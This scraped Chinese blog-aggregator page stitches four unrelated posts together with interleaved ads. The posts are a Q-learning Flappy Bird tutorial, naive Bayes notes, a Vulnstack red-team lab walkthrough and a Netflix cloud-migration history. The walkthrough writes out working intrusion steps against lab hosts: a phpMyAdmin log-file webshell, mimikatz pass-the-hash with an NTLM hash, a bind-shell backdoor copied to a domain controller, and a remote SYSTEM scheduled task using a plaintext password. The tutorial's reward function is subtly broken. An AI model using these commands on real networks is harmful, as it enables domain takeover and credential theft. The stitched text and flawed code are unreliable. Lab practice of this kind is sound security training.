DQN(Deep Q-learning)入門教程(四)之Q-learning Play Flappy Bird_網頁設計公司

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

在上一篇博客中,我們詳細的對Q-learning的算法流程進行了介紹。同時我們使用了\(\epsilon-貪婪法\)防止陷入局部最優。

那麼我們可以想一下,最後我們得到的結果是什麼樣的呢?因為我們考慮到了所有的(\(\epsilon-貪婪法\)導致的)情況,因此最終我們將會得到一張如下的Q-Table表。

Q-Table \(a_1\) \(a_2\)
\(s_1\) \(q(s_1,a_1)\) \(q(s_1,a_2)\)
\(s_2\) \(q(s_2,a_1)\) \(q(s_2,a_2)\)
\(s_3\) \(q(s_3,a_1)\) \(q(s_3,a_2)\)

當agent運行到某一個場景\(s\)時,會去查詢已經訓練好的Q-Table,然後從中選擇一個最大的\(q\)對應的action。

訓練內容

這一次,我們將對Flappy-bird遊戲進行訓練。這個遊戲的介紹我就不多說了,可以看一下維基百科的介紹。

遊戲就是控制一隻穿越管道,然後可以獲得分數,對於小鳥來說,他只有兩個動作,跳or不跳,而我們的目標就是使小鳥穿越管道獲得更多的分數。

前置準備

因為我們的目標是來學習“強化學習”的,所以我們不可能說自己去弄一個Flappy-bird(當然自己弄也可以),這裏我們直接使用一個已經寫好的Flappy-bird。

PyGame-Learning-Environment,是一個Python的強化學習環境,簡稱PLE,下面時他Github上面的介紹:

PyGame Learning Environment (PLE) is a learning environment, mimicking the Arcade Learning Environment interface, allowing a quick start to Reinforcement Learning in Python. The goal of PLE is allow practitioners to focus design of models and experiments instead of environment design.

PLE hopes to eventually build an expansive library of games.

然後關於FlappyBird的文檔介紹在這裏,文檔的介紹還是蠻清楚的。安裝步驟如下所示,推薦在Pipenv的環境下安裝,不過你也可以直接clone我的代碼然後然後根據reademe的步驟進行使用。

git clone https://github.com/ntasfi/PyGame-Learning-Environment.git
cd PyGame-Learning-Environment/
pip install -e .

需要的庫如下:

  • pygame
  • numpy
  • pillow

函數說明

在官方文檔有幾個的函數在這裏說下,因為等下我們需要用到。

  • getGameState():獲得遊戲當前的狀態,返回值為一個字典:

    1. player y position.
    2. players velocity.
    3. next pipe distance to player
    4. next pipe top y position
    5. next pipe bottom y position
    6. next next pipe distance to player
    7. next next pipe top y position
    8. next next pipe bottom y position

    部分數據表示如下:

  • reset_game():重新開始遊戲

  • act(action):在遊戲中執行一個動作,參數為動作,返回執行后的分數。

  • game_over():假如遊戲結束,則返回True,否者返回False。

  • getActionSet():獲得遊戲的動作集合。

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

我們的窗體大小默認是288*512,其中鳥的速度在-20到10之間(最小速度我並不知道,但是經過觀察,並沒有小於-20的情況,而最大的速度在源代碼裏面已經說明好了為10)

Coding Time

在前面我們說,通過getGameState()函數,我們可以獲得幾個關於環境的數據,在這裏我們選擇如下的數據:

  • next_pipe_dist_to_player:
  • player_y與next_pipe_top_y的差值
  • 的速度

但是我們可以想一想,next_pipe_dist_to_player一共會有多少種的取值:因為窗體大小為288*512,則取值的範圍大約是0~288,也就是說它大約有288個取值,而關於player_y與next_pipe_top_y的差值,則大概有1024個取值。這樣很難讓模型收斂,因此我們將數值進行簡化。其中簡化的思路來自:GitHub

首先我們創建一個Agent類,然後逐漸向裏面添加功能。

class Agent():

    def __init__(self, action_space):
        # 獲得遊戲支持的動作集合
        self.action_set = action_space

        # 創建q-table
        self.q_table = np.zeros((6, 6, 6, 2))

        # 學習率
        self.alpha = 0.7
        # 勵衰減因子
        self.gamma = 0.8
        # 貪婪率
        self.greedy = 0.8

至於為什麼q-table的大小是(6,6,6,2),其中的3個6分別代表next_pipe_dist_to_playerplayer_y與next_pipe_top_y的差值的速度,其中的2代表動作的個數。也就是說,表格中的state一共有$6 \times6 \times 6 $種,表格的大小為\(6 \times6 \times 6 \times 2\)

縮小狀態值的範圍

我們定義一個函數get_state(s),這個函數專門提取遊戲中的狀態,然後返回進行簡化的狀態數據:

    def get_state(self, state):
        """
        提取遊戲state中我們需要的數據
        :param state: 遊戲state
        :return: 返回提取好的數據
        """
        return_state = np.zeros((3,), dtype=int)
        dist_to_pipe_horz = state["next_pipe_dist_to_player"]
        dist_to_pipe_bottom = state["player_y"] - state["next_pipe_top_y"]
        velocity = state['player_vel']
        if velocity < -15:
            velocity_category = 0
        elif velocity < -10:
            velocity_category = 1
        elif velocity < -5:
            velocity_category = 2
        elif velocity < 0:
            velocity_category = 3
        elif velocity < 5:
            velocity_category = 4
        else:
            velocity_category = 5

        if dist_to_pipe_bottom < 8:  # very close or less than 0
            height_category = 0
        elif dist_to_pipe_bottom < 20:  # close
            height_category = 1
        elif dist_to_pipe_bottom < 50:  # not close
            height_category = 2
        elif dist_to_pipe_bottom < 125:  # mid
            height_category = 3
        elif dist_to_pipe_bottom < 250:  # far
            height_category = 4
        else:
            height_category = 5

        # make a distance category
        if dist_to_pipe_horz < 8:  # very close
            dist_category = 0
        elif dist_to_pipe_horz < 20:  # close
            dist_category = 1
        elif dist_to_pipe_horz < 50:  # not close
            dist_category = 2
        elif dist_to_pipe_horz < 125:  # mid
            dist_category = 3
        elif dist_to_pipe_horz < 250:  # far
            dist_category = 4
        else:
            dist_category = 5

        return_state[0] = height_category
        return_state[1] = dist_category
        return_state[2] = velocity_category
        return return_state

更新Q-table

更新的數學公式如下:

\[{\displaystyle Q^{new}(s_{t},a_{t})\leftarrow \underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}+\underbrace {\alpha } _{\text{學習率}}\cdot \overbrace {{\bigg (}\underbrace {\underbrace {r_{t}} _{\text{獎勵}}+\underbrace {\gamma } _{\text{獎勵衰減因子}}\cdot \underbrace {\max _{a}Q(s_{t+1},a)} _{\text{estimate of optimal future value}}} _{\text{new value (temporal difference target)}}-\underbrace {Q(s_{t},a_{t})} _{\text{舊的值}}{\bigg )}} ^{\text{temporal difference}}} \]

下面是更新Q-table的函數代碼:

def update_q_table(self, old_state, current_action, next_state, r):
    """

    :param old_state: 執行動作前的狀態
    :param current_action: 執行的動作
    :param next_state: 執行動作后的狀態
    :param r: 獎勵
    :return:
    """
    next_max_value = np.max(self.q_table[next_state[0], next_state[1], next_state[2]])

    self.q_table[old_state[0], old_state[1], old_state[2], current_action] = (1 - self.alpha) * self.q_table[
        old_state[0], old_state[1], old_state[2], current_action] + self.alpha * (r + next_max_value)

選擇最佳的動作

然後我們就是根據q-table對應的Q值選擇最大的那一個,其中第一個代表(也就是0)跳躍,第2個代表不執行任何操作。

選擇的示意圖如下:

代碼如下所示:

def get_best_action(self, state, greedy=False):
    """
    獲得最佳的動作
    :param state: 狀態
    :是否使用ϵ-貪婪法
    :return: 最佳動作
    """
	
    # 獲得q值
    jump = self.q_table[state[0], state[1], state[2], 0]
    no_jump = self.q_table[state[0], state[1], state[2], 1]
    # 是否執行策略
    if greedy:
        if np.random.rand(1) < self.greedy:
            return np.random.choice([0, 1])
        else:
            if jump > no_jump:
                return 0
            else:
                return 1
    else:
        if jump > no_jump:
            return 0
        else:
            return 1

更新\(\epsilon\)

這個比較簡單,從前面的博客中,我們知道\(\epsilon\)是隨着訓練次數的增加而減少的,有很多種策略可以選擇,這裏乘以\(0.95\)吧。

def update_greedy(self):
    self.greedy *= 0.95

執行動作

在官方文檔中,如果小鳥沒有死亡獎勵為0,越過一個管道,獎勵為1,死亡獎勵為-1,我們稍微的對其進行改變:

def act(self, p, action):
    """
    執行動作
    :param p: 通過p來向遊戲發出動作命令
    :param action: 動作
    :return: 獎勵
    """
    # action_set表示遊戲動作集(119,None),其中119代表跳躍
    r = p.act(self.action_set[action])
    if r == 0:
        r = 1
    if r == 1:
        r = 10
    else:
        r = -1000
    return r

main函數

最後我們就可以執行main函數了。

if __name__ == "__main__":
    # 訓練次數
    episodes = 2000_000000
    # 實例化遊戲對象
    game = FlappyBird()
    # 類似遊戲的一個接口,可以為我們提供一些功能
    p = PLE(game, fps=30, display_screen=False)
    # 初始化
    p.init()
    # 實例化Agent,將動作集傳進去
    agent = Agent(p.getActionSet())
    max_score = 0
	
    for episode in range(episodes):
        # 重置遊戲
        p.reset_game()
        # 獲得狀態
        state = agent.get_state(game.getGameState())
        agent.update_greedy()
        while True:
            # 獲得最佳動作
            action = agent.get_best_action(state)
            # 然後執行動作獲得獎勵
            reward = agent.act(p, action)
            # 獲得執行動作之後的狀態
            next_state = agent.get_state(game.getGameState())
            # 更新q-table
            agent.update_q_table(state, action, next_state, reward)
            # 獲得當前分數
            current_score = p.score()
            state = next_state
            if p.game_over():
                max_score = max(current_score, max_score)
                print('Episodes: %s, Current score: %s, Max score: %s' % (episode, current_score, max_score))
                # 保存q-table
                if current_score > 300:
                    np.save("{}_{}.npy".format(current_score, episode), agent.q_table)
                break

部分的訓練的結果如下:

總結

emm,說實話,我也不知道結果會怎麼樣,因為訓練的時間比較長,我不想放在我的電腦上面跑,然後我就放在樹莓派上面跑,但是樹莓派性能比較低,導致訓練的速度比較慢。但是,我還是覺得我的方法有點問題,get_state()函數中簡化的方法,我感覺不是特別的合理,如果各位有好的看法,可以在評論區留言哦,然後共同學習。

項目地址:https://github.com/xiaohuiduan/flappy-bird-q-learning

參考

  • Use reinforcement learning to train a flappy bird NEVER to die
  • PyGame-Learning-Environment
  • https://github.com/BujuNB/Flappy-Brid-RL

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

04_樸素貝恭弘=叶 恭弘斯算法_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

  今天是2020年2月4日星期二,全國確診人數達到了20471例,確診人數從一萬例到兩萬例,只用了三天啊,疫情比想象的嚴重的多啊。影響程度早早超過了非典,普天盛世之下的堂堂中華,也會爆出如此疫情,人類還是弱小,微生物才是地球的主宰啊。

  看了一下樸素貝恭弘=叶 恭弘斯算法,這次的深入學習,發現了許多之前學習忽略的地方,在這裏先簡單敘述下感想。看了很多資料講樸素貝恭弘=叶 恭弘斯是生成模型,那就有必要和判別模型做一下對比,通常說判別模型,它是通過“輸入特徵x”直接學習“輸出y”,也就是直接學習輸出y和特徵x之間的映射關係。比如說判斷來診人員A是否需要輸液,k近鄰算法僅僅根據來診人員A的輸入特徵和哪幾個最近鄰節點的特徵相似,直接多數表決判斷A的類別是否需要輸液。(這裏用k近鄰算法作為例子,有點不妥,因為k近鄰沒有顯式的學習過程,決策樹章節再分析這個問題)。

  樸素貝恭弘=叶 恭弘斯作為生成模型的代表,需要先找到輸入特徵x與輸出y的聯合概率分佈,也就是生成一對數據(x,y)的方式。再計算y在輸入特徵x的條件下的出現概率,比較不同類別y的大小,哪個類別的y大,未知數據就屬於哪個類別。這裏首先要解決聯合概率分佈是什麼,接下來是條件分佈,最後執果索因是什麼,也就是怎樣理解結果對原因產生影響,解決了這三個問題,相信就能夠對生成模型,有一個大概的了解。

  在正式開始吃李航老師的書本內容前,先解決一下概率知識上的盲點。這部分內容僅作參考,因為概率課是水過的…數學二也沒有考概率,只是在學習機器學習前簡單看了下概率…

  我們用P(A)記為事件A發生的概率,P(A∩B)記為事件A和事件B同時發生的概率,稱為聯合概率,P(A|B)記為在事件B發生的前提下,事件A發生的條件概率。這裏的事件A和B不一定具有因果或者先後序列關係。通常我們在描述某個事件發生的概率的時候,其實總是默認了該事件所在的樣本空間,現在我們需要重新理解一下這個概念,樣本空間是一個實驗或隨機試驗所有可能結果的集合(樣本空間的任何一個子集都被稱為一個事件)。我們說P(A)是事件A發生的概率,不能離開事件A所處的樣本空間,如維恩圖中藍色框部分,事件A的概率P(A)其實是指在樣本空間Ω中,事件A部分佔樣本空間Ω的比率。

  在樣本空間Ω下,事件A和事件B同時發生的聯合概率P(A∩B)也就是圖中A∩B部分佔樣本空間Ω的比率。來看一下條件概率P(A|B),也就是在事件B發生的前提下,事件A發生的概率,P(A|B)與P(A)的區別在哪裡?很明顯,是條件事件B。在維恩圖中怎麼理解呢?前文提到了樣本空間,這裏的重點就在於樣本空間的變化。在P(A)中,指的是A部分佔樣本空間Ω的比率;在P(A|B)中,有了一個前提,需要事件B先發生,也就是排除了原來樣本空間Ω中B部分以外的區域。換句話說,條件的存在意味着樣本空間的縮小,那麼P(A|B)也就是A∩B部分(事件A、B同時發生,包含了事件A發生)佔新的樣本空間B的比率。P(A)與P(A|B),除了樣本空間的變化,是否存在定量關係呢?這裏我們用公式看一下比率關係,用sizeA表示維恩圖中A所在部分。

  可以得到:

  哎,這就有意思了。通過公式的定量表示,我們可以看到事件A在附加了條件下,也就是樣本空間縮小的情況下,P(A)與P(A|B)存在一種定量關係。這裏大膽的把這個定量關係作為附加條件B之後的調整因子。其實這就是貝恭弘=叶 恭弘斯公式,只是換了一個角度進行理解,一千個讀者一千個哈姆雷特。

  在貝恭弘=叶 恭弘斯公式中,P(A)稱為先驗概率,P(A|B)稱為後驗概率。我的理解是這樣,先驗概率P(A)是在事件B發生之前,對A事件的一個判斷,一般來說是我們對數據所在領域的歷史經驗或者常識,這個經驗或者常識對該事件發生的概率難以量化,但我們可以對它進行假設;后驗概率P(A|B),是事件B發生之後,對事件A發生概率的重新評估。后驗概率也就可以理解成:后驗概率=先驗概率×調整因子,通過調整因子,讓預估概率更接近真實概率。

  寫到這裏,大概可以對聯合概率、條件概率、貝恭弘=叶 恭弘斯公式有個簡單的理解了,但是好像還沒有扯到生成模型什麼事,這就來扯一扯。

  在我的理解里,該算法需要拋棄判別模型中的“映射”思路。就是說要理解素樸貝恭弘=叶 恭弘斯算法,需要先丟掉“給出一個什麼樣的輸入特徵向量x,模型可以得到什麼樣的輸出結果y”這個直接判別的映射想法。說樸素貝恭弘=叶 恭弘斯算法是生成模型,實際上就是在判斷新的輸入實例x具體類別時,要通過訓練數據集中(x,y1)、(x,y2)這種具體組合在數據集中出現的概率,結合條件概率再去判斷x的類別是y1,還是y2的哪種可能性大。在上邊的一堆公式中,可以看到貝恭弘=叶 恭弘斯公式(7)的得來,依賴於公式(3)中的事件A和事件B同時出現的聯合概率。換句話說,我們要判斷新的輸入實例x的類別,數據集中的類別分別為y1、y2,類別y有自己的分佈規律。例如服從P(y1)=0.8、P(y2)=0.2的二項分佈,簡單來說,我們看到是y1的概率這麼大,直接把x的類別判斷為y1就是了。但貝恭弘=叶 恭弘斯不是這麼做的,因為每個實例x是不一樣的(實例x可能的情況有自己的分佈)。我們是不是可以根據x在已經確定的情況下,再去判斷類別y的條件概率呢?這就意味着樣本空間的縮小,在有條件的情況下,再去判斷y的類別,肯定要比什麼都不知道的情況做判斷要準確。也就是我們要找到x,y各個單獨事件的組合事件(x,y1)、(x,y2)在數據集中的分佈,用來調整類別y的先驗概率,得到有條件下的后驗結果。

 GitHub:https://github.com/wangzycloud/statistical-learning-method

 樸素貝恭弘=叶 恭弘斯算法

引入

  前邊說了一大堆亂七八糟的東西,形式化來講,樸素貝恭弘=叶 恭弘斯算法是基於貝恭弘=叶 恭弘斯定理和特徵條件假設的分類方法。對於給定的訓練數據集,首先是利用特徵條件獨立假設,學習輸入輸出的聯合概率分佈。然後基於該模型,對給定的輸入實例x,利用貝恭弘=叶 恭弘斯定理求出后驗概率最大的輸出類別y。本節有不少耐看的公式,第一次耐心看懂,之後就沒這麼晦澀了,接下來按照書中的順序記錄一下,包括樸素貝恭弘=叶 恭弘斯法的基本方法、后驗概率最大化的含義、參數估計和樸素貝恭弘=叶 恭弘斯算法。

基本方法

  首先是模型輸入、輸出情況的說明,輸入數據用n維特徵向量表示,這裏注意一下訓練數據集T,數據集T內的數據是由是由事件x,y同時發生的聯合概率分佈產生。

  實際上,學習到了聯合概率分佈P(X,Y),也就是學習到了生成一個數據(xn+1,yn+1)的方式,這就要我們把輸入實例xn+1和相應輸出類別yn+1當成一個整體來對待。接下來看一下條件概率分佈,我們知道輸入特徵向量不是一個單獨的數值,而是一系列特徵分量構成的向量,並且每個分量有不同的取值範圍,公式(4.2)反映了這一事實,這就影響到我們對聯合概率的求解。每個分量有不同的取值,不同取值的x與類別y構成同時發生的聯合事件,各個分量的排列組合結果是一個非常大的数字,直接根據樣本出現的頻率來估計參數是一個非常困難的事情。假如樣本的n個屬性都是二值的,則樣本空間將有2的n次方種可能的取值,在現實中,這個種類數往往大於訓練樣本,一些可能的取值在訓練集中並不會出現。

  這裏我們看一下條件獨立性假設,實際上就是說,我們強行認為特徵向量x的各個分量之間是獨立的,相互之間不能有影響,就算有影響,我們也不考慮進來。也就是假設每個分量屬性獨立的對分類結果產生影響,這是一個很強的假設,通過這個假設,參數求解變得可行,這也是樸素貝恭弘=叶 恭弘斯“樸素”的由來。其中,需要估計的參數數量大大減少:

  由此,我們可以將各個分量看作生成數據的不同階段,應用乘法公式得到公式(4.3),也就是各獨立變量的聯合分佈=各獨立變量先驗概率的乘積。文中提到的條件獨立性這一假設,使得樸素貝恭弘=叶 恭弘斯法變得簡單,但會犧牲一定的分類準確性。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

  在有了聯合概率、條件概率、獨立性假設的前提下,在應用公式(4.4)-公式(4.6)后,可以得到最終的樸素貝恭弘=叶 恭弘斯分類器,即公式(4.7)。

后驗概率最大化

  該部分從期望風險最小化的角度,闡述樸素貝恭弘=叶 恭弘斯的原理,也就是為什麼輸出y的分類要取后驗概率最大的類。這裏存疑,開學后搞起~已找到合適資料,到實驗室整理出來就好了。

樸素貝恭弘=叶 恭弘斯法的參數估計

  先驗概率P(Y)表示了樣本空間中事件Y各個類別所佔的比例,根據大數定律,當訓練集包含足夠多的樣本時,P(Y)可以通過各事件出現的頻率來估計。

  對於各獨立變量的條件概率參數,也是通過極大似然估計得出。

貝恭弘=叶 恭弘斯算法

  算法流程圖:

貝恭弘=叶 恭弘斯估計

  通過極大似然估計法,我們計算出了該數據集內輸入特徵x各個屬性獨立性假設下的條件概率。而如果待預測實例的某個屬性值沒有在訓練集中出現過,根據公式(4.9)計算條件概率就會出現概率值為0的情況。無論該實例的屬性如何,根據連乘公式,最終的類別概率都為0,無法做出判斷。針對這種情況怎麼避免呢?對分母分子進行修正,這就是貝恭弘=叶 恭弘斯估計(實際上就是分子分母同時加上一個常數,避免0的情況)。

理解貝恭弘=叶 恭弘斯的一個小例子

  醫院里出現了一例尚未確診的肺炎患者(疑似狀態),猜測他被感染的原因可能是:

  (1)   華南海鮮市場吃過海鮮

  (2)   去武漢旅行剛回來

  (3)   同其它患者密切接觸過

  根據其它人的確診結果,我們知道如果去海鮮市場吃過海鮮,有70%幾率會確診;去武漢旅行的人有60%的幾率確診;同其它患者密切接觸過的話,有50%的幾率確診。現在他昏迷了,根據他體溫及肺部CT病症嚴重程度,猜測這三種原因的可能性概率分別為50%、30%、20%。那麼,如果現在核酸試劑結果為陽性,被確診了。在已知確診的條件下,考慮是哪種原因造成了感染?

  由全概率公式,我們可以得到確診、疑似的概率分別是:

  由貝恭弘=叶 恭弘斯公式,在確診的條件下,三種可能性的大小被調整為:

  在已經確診的條件下,比較三者的后驗概率,可以得到該患者因吃海鮮被感染的可能性最大。執果索因,簡單講就是將結果考慮到發生原因的評估上,對前期評估進行調整。

代碼效果

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

ATT&CK紅隊評估實戰靶場(一)_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
攻擊拓撲如下

0x01環境搭建
配置兩卡,僅主機模式192.168.52.0網段模擬內網,192.168.72.0網段模擬外網
Kali linux IP 192.168.72.131
win7 IP 192.168.72.130/192.168.52.143
win2003 IP 192.168.72.141
DC 2008 IP 192.168.52.138

0X02信息收集
用nmap找到外網IP地址
netdiscover -i eth0 -r 192.168.72.0/24

御劍掃目錄掃到後台
掃到目錄http://192.168.72.130/phpmyadmin/
弱口令root /root進入後台

0x03phpmyadmin後台getshell
show variables like ‘%general%’; #查看日誌狀態

SET GLOBAL general_log=’on’

SET GLOBAL general_log_file=’C:/phpStudy/www/233.php’ 設置路徑

SELECT ‘ ‘ //寫入一句話木馬

getshell
http://192.168.72.130/233.php

0x04權限提升
直接用Cs的腳本ms14-068提權

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

0x05內網信息收集
把webshell轉換成cs上線

ipconfig /all

hashdump看一下密碼

再用mimikatz抓一下明文密碼,抓到hongrisec@2020

shell net user /domain
查看域內用戶
使用lodan掃描內網網絡

使用lazagone.exe 抓取本機所有密碼

抓到了很多win7機器上的密碼

用Msf的這個模塊可以判斷目標機器上面裝了那些軟件
run post/windows/gather/enum_applications 使用這個之後發現win7(雙網卡機器)上有一個現成的nmap
直接用beacon下的nmap去掃描DC的漏洞 shell nmap –script=vuln 192.168.52.138 發現域控存在ms17-010

這裏其實已經可以直接去用Msf打域控的17010了

0x06MSF與CS聯動
新啟一個監聽,用foriereverse_tcp,然後msf開始監聽端口,成功轉接cs的shell

查看當前網段並添加路由

0x07配置msf代理

之前掃描的是DC,先看一下2003有沒有漏洞,掃一下141,其實不掛代理也行,win7裏面有一個Nmap,這裏要注意socks代理不支持icmp協議
proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 –script=smb-vuln-ms17-010.nse 192.168.52.141

0x08兩種拿下2003
因為已經知道了漏洞,直接永恆之藍打過去了

PTH方法
選擇之前生成的那個smb beacon 然後在用哈希傳遞的方法,域內管理員的賬號直接登錄

192.168.52.141成功上線

0x09票據+計劃任務拿DC
mimikatz sekurlsa::pth /domain:god.org /user:administrator /ntlm:81be2f80d568100549beac645d6a7141

shell dir \192.168.52.138\c$ //dir DC的目錄

生成一個exe馬
這裏用windows/reverse_bind_tcp LHOST=0.0.0.0 LPORT=7777 生成正向的馬 yukong.exe
把馬複製到域控機器上shell copy C:\yukong.exe \192.168.52.138\c$
然後再用這個寫入計劃任務的方法去連接,這裏馬反彈會連不成功,所以
shell schtasks /create /tn “test” /tr C:\yukong.exe /sc once /st 22:14 /S 192.168.52.138 /RU System /u administrator /p “hongrisec@2020”
掛着win7代理 proxy nc -vv 192.168.52.138 7777 即可彈回DC138的shell
用Meterpreter的馬也可以,之前失敗了,後續還是改成meterpreter的馬,或者把普通shell再升級成meterpreter再導入cs也可以
馬上線之後清除計劃任務schtasks /delete /s 192.168.52.138 /tn “test” /f

本靶場有很多地方都可以打成功,可以自己嘗試一下。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

​雲中奈飛(一):Netflix的上雲之旅_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

作者按: 

Netflix(譯為奈飛/網飛)公司自1997年創立以來,已發展成為美國最大的互聯網流媒體服務商。它從2008到2015年間長達七年的將其所有IT系統從自有數據中心遷移到AWS之上的旅程,在當時可謂前無古人的創舉,對公有雲的發展、傳統企業上雲及基於雲的業務轉型等都有很大的推動和促進作用。雖然已過去多年,有些東西已略微顯得過時,但奈飛上雲的理念、步驟、做法等,對當今企業上雲及用雲仍有很大的參考價值。 

因此,在接下來的幾周內,筆者打算花上些許時間,對奈飛的上雲之旅,及其雲上運行,基於網上公開資料,從上雲歷程、雲上架構、支撐團隊、雲上安全等維度做下梳理和總結,形成系列文章。它山之石,可以攻玉。本文為這系列文章的第一篇,介紹奈飛的總體上雲歷程。

 

本文目錄

零、公司簡介………………………………… 1

一、發端………………………………………. 4

二、驗證………………………………………. 6

三、進行………………………………………. 8

四、完成………………………………………. 11 

五、筆者感受

 

零、公司簡介

 

 

Netflix(https://www.netflix.com/)公司總部設在美國加利福尼亞州,是全世界最大的視頻流媒體平台,在除中國大陸地區以外的所有國家和地區均提供視頻點播服務,相當於國內的愛奇藝、優酷和騰訊視頻等視頻網站。 

1997年,當Reed Hastings和Marc Randolph創建 Netflix時,這家公司唯一業務是DVD郵購業務。2002年上市,股票發行價為15美元;2007年開始發展流媒體業務;2013年,發布其首部原創電視劇《紙牌屋》;2016年宣布全球化,全世界200多個國家和地區可訂閱Netflix觀看電影電視劇。 2017年,Netflix用戶數量超過美國有線電視用戶總數。如今,Netflix的股價是419美元,已成為世界上大型的電視劇和電影製片公司之一、美國最大的互聯網流媒體服務商,在世界範圍內擁有很強的影響力,高峰時刻佔據了互聯網流媒體流量的33%。 

 

除了商業上非常成功外,Netflix在技術上也非常成功,它雖然是家娛樂公司,但實際上是一家技術公司。從2008年開始,直到2015年底,它花了整整七年時間,把公司整套IT系統搬到了AWS上。這可謂前無來者。除此之外,Netflix在分佈式系統開源上具有巨大的影響力,其開源項目叫做Netflix OSS(Open Source Software),涵蓋範圍基本包括了業界絕大部分分佈式系統領域,包括但不限於: 

·       公共運行時服務及庫,比如Eureka, Ribbon, Hystrix

·       大數據,比如Genie

·       構建和發布工具,比如Asgard/Spinnaker

·       數據持久化,比如EVCache

·       可觀察性、可靠性和性能,比如Simian Army 

 

一、發端

 

Netflix的上雲之旅始於2008年8月。從公開資料來看,當時主要有兩個驅動力促使其上雲: 

(1)發生了系統宕機。 

當時,Netflix的IT系統運行在高端昂貴的IBM服務器、Oracle數據庫和SAN存儲搭建的平台之上。某次,因為SAN存儲硬件故障導致的數據庫宕機,使得Netflix的DVD配送服務不得不停止了3天。這個故障使得公司管理層開始意識到,由IT團隊利用昂貴的平台來保證系統可用性的做法存在問題,更應該從應用層面去保障系統可用性。因此,需考慮IT系統從傳統垂直擴展的帶有單點故障的架構,轉向高可用、水平擴展的分佈式架構。與此同時,他們開始思考是否可以利用剛剛出現的低成本雲基礎設施來替代昂貴傳統IT基礎設施來支撐需具備高可用性的應用。

 

 

(2)新業務帶來巨大數據中心擴容壓力。 

Netflix的傳統DVD寄送服務的服務模式下,客戶瀏覽Netflix網站選擇DVD,然後公司開始寄送。因為受到DVD來回寄送速度的限制,通常是以周為周期給客戶寄送DVD。因此,這種傳統業務模式對IT系統的業務壓力較輕。 

傳統DVD寄送業務模式

 

儘管DVD業務增長迅速,但2007年Netflix仍然決定推出第一款流媒體產品“Watch Now”來革新其業務。這種業務也是它後來蓬勃發展的關鍵因素之一。這種新服務模式下,用戶與Netflix網站之間的交互頻率是傳統DVD寄送業務下交互頻率的100倍甚至不止。 

流媒體服務模式

 

新模式下,用戶每周看的視頻數量是之前的十倍,而每個視頻對數據中心中的IT系統產生的流量則是百倍,因此每個用戶對IT系統產生的流量是之前的千倍。也就是說,只要0.1%的用戶從傳統模式轉向新模式,那IT系統的容量就必須翻倍。其實這種規律也很常見。即使用戶並沒有顯著增長,只要因為業務模式的變化,對IT系統的壓力也可能成倍增加。 

這就要求Netflix找到一種快速擴容數據中心的方法,因為根據當時的業務預測,其用戶很快就會轉向在線流媒體服務模式。時間來到2009年,隨着新業務的發展,Netflix面臨兩個選擇:自建數據中心,或利用其業務競爭對手亞馬遜於2006年才發布的AWS雲。前者需要大量前期資金投入,並且未來的容量需求無法預測且是變化不定的,而後者則是在視頻流領域的最大競爭對手Amazon的雲上開展業務。Netflix決定選擇後者。他們認為,相比在不實際產生業務價值的數據中心上做前期巨大投入,將資金投入在視頻內容和開發人員身上會更有價值。

 

 

二、驗證

於是這一年(2009年),Netflix開始研究利用AWS雲來開展業務的各種風險,包括業務競爭風險、規模性風險、商業風險和公關風險等。就業務競爭風險,Netflix與AWS溝融了AWS是如何與Amazon Premier做業務分離的。然後開展實驗去驗證AWS上的資源快速擴容能力。Netflix還與AWS簽訂了首批企業許可協議,這種協議下Netflix不需要通過授權信用卡方式來使用AWS資源,而信用卡授權是當時大多數人在AWS上消費時使用的主要方式。 

